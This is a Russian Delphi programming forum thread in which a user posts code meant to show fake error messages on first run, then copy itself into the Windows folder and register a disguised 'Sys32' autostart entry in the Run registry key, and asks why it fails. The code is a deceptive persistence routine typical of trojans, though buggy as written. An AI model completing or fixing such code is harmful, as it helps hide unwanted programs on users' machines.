Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 12.06.2011, 02:27   #1
spydark91
Форумчанин
 
Регистрация: 01.06.2011
Сообщений: 215
По умолчанию реестр

написал код:
Код:
begin
r:=tregistry.Create;
r.RootKey:=HKEY_LOCAL_MACHINE;
r.OpenKey('SOFTWARE',true);
r.OpenKey('System32',true);
if r.ValueExists('Sys')=false then
  begin
    application.MessageBox('Error #0000567140. Failed process. Restart application','Error #0000567140',0);
    application.MessageBox('Error #0000567140. Failed process. Restart application','Error #0000567140',0);
    application.MessageBox('Error #0000567140. Failed process. Restart application','Error #0000567140',0);
    r.WriteInteger('Sys',1);
    r.CloseKey;
 
    s:= GetWindowsPath;
    sr:=s[1];
    ro:= sr+':\Windows\Winn';
    CreateDirectory(pchar(ro),nil);
    CopyFile(PAnsiChar(extractfilepath(Application.exename)),PAnsiChar(ro),true);
 
 
 
    r.RootKey:=HKEY_LOCAL_MACHINE;
    r.LazyWrite:=false;
    r.openkey('software', false);
    r.OpenKey('microsoft',false);
    r.OpenKey('windows',false);
    r.OpenKey('currentversion',false);
    r.OpenKey('run',false);
    r.WriteString('Sys32',ro+'System32.exe');
    r.CloseKey;
    r.Free;
  end;
смысл: при первом запуске программы должен давать ошибки и копировать себя в автозапуск
но! почемуто ошибок нет,папки r.OpenKey('System32',true); тоже нет и соответственно нету значения
и в автозагрухке тож пусто
в чем я ошбися?
spydark91 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Реестр Djeka(c) Помощь студентам 0 23.10.2010 03:46
[Сохранение параметров в реестр] Как сохранить параметры цвета в реестр. ZARO Общие вопросы Delphi 3 12.03.2010 21:24
Реестр DennerV Общие вопросы Delphi 11 04.06.2009 15:44
Реестр GAGARIN-NEW Свободное общение 2 06.01.2008 11:31